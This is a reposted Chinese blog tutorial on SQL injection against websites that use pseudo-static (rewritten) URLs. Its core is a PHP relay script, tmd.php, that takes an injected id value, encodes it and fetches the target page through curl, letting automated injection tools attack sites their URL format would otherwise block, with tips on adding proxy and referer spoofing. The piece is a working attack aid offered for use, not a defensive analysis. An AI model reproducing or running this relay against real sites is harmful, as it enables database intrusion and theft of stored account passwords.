博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
对伪静态网站实施注射
阅读量:5211 次
发布时间:2019-06-14

本文共 1090 字,大约阅读时间需要 3 分钟。

对伪静态网站实施注射

伪静态网站注入方法,莱鸟扫盲来了哦,通常情况下,动态脚本的网站的url类似下面这样:

做了伪静态之后就成这样了

以斜杠“/”代替了“=”并在最后加上.html,这样一来,就无法直接用工具来注入了,

现在我们就来讨论下如何用工具来注入,大家都知道cookies注入中转吧,其实原理都差不多,

我们自己写一个动态网页脚本,构造自己的url规则,通过这个页面中转来访问目标页!

即我们把伪静态url规则变回原来的?id=123这样的形式,形成一个普通的可方便注入的url。

好吧,试验下!我在本地用thikphp搭建了一个简单的注入点,

因为thinkphp自带了简单的伪静态,比较方便演示。

这个注入点的sql如下:接收get过来的id

SELECT account AS username,password FROM think_user WHERE id=1

页面url如下:

变幻111的值来注入!

我比较熟悉php,就用php来写一个注入中转页面吧

tmd.php 中转页面源码:

set_time_limit(0);

$id=$_GET[“id”];
$id=str_replace(” “,”%20”,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = ““;
$url = ““;
//echo $url;
 
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, “$url”);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
 
$output = curl_exec($ch);
curl_close($ch);
print_r($output);

将这个文件保存成tmd.php即可,这个文件url如下:

把产生注入的$id根据目标页的伪静态规则放到指定的位置就可以了。如上。

原理就是通过curl来取得目标页的内容(与直接访问目标页效果一样),

只需要修改$url的内容就可以适应各种伪静态规则了。

脚本比较简陋,有需要的童鞋,可根据情况加入post方式,代理,referer等功能。

我们现在访问 ,

即相当于访问  ,

现在我们就可以把  这个连接放到工具里面注入了。

本文作者不明(转载时未见原作者版权)由攻防研究室() 小组收集整理.

 
 

转载于:https://www.cnblogs.com/studyone/p/5426301.html

你可能感兴趣的文章
WPF 重写微调自带的样式,ListView、DataGrid、TreeView等所有控件的默认样式
查看>>
bzoj3694: 最短路(树链剖分/并查集)
查看>>
冲刺Two之站立会议10
查看>>
配置docker容器上ssh无密登录
查看>>
vue中给buttion按钮添加键盘回车(enter)事件
查看>>
轮播图记录篇
查看>>
Codevs 1227 方格取数 2(费用流)
查看>>
ef 吐糟
查看>>
读取字体.ttf文件,生成艺术字图片代码
查看>>
上周热点回顾(6.11-6.17)
查看>>
记一次简单的清理挖矿程序过程
查看>>
黑马Java学习笔记之-----静态导入、可变参数和高级For循环
查看>>
java时间调度Quartz入门demo代码示例
查看>>
hellow word!~
查看>>
体会 git 之优越性
查看>>
Appium+python自动化-Android夜神模拟器
查看>>
异常处理:try - except 和 try finally。
查看>>
创建自己的github仓库
查看>>
建造者模式(Builder Pattern)
查看>>
Oracle PL/SQL编程语法
查看>>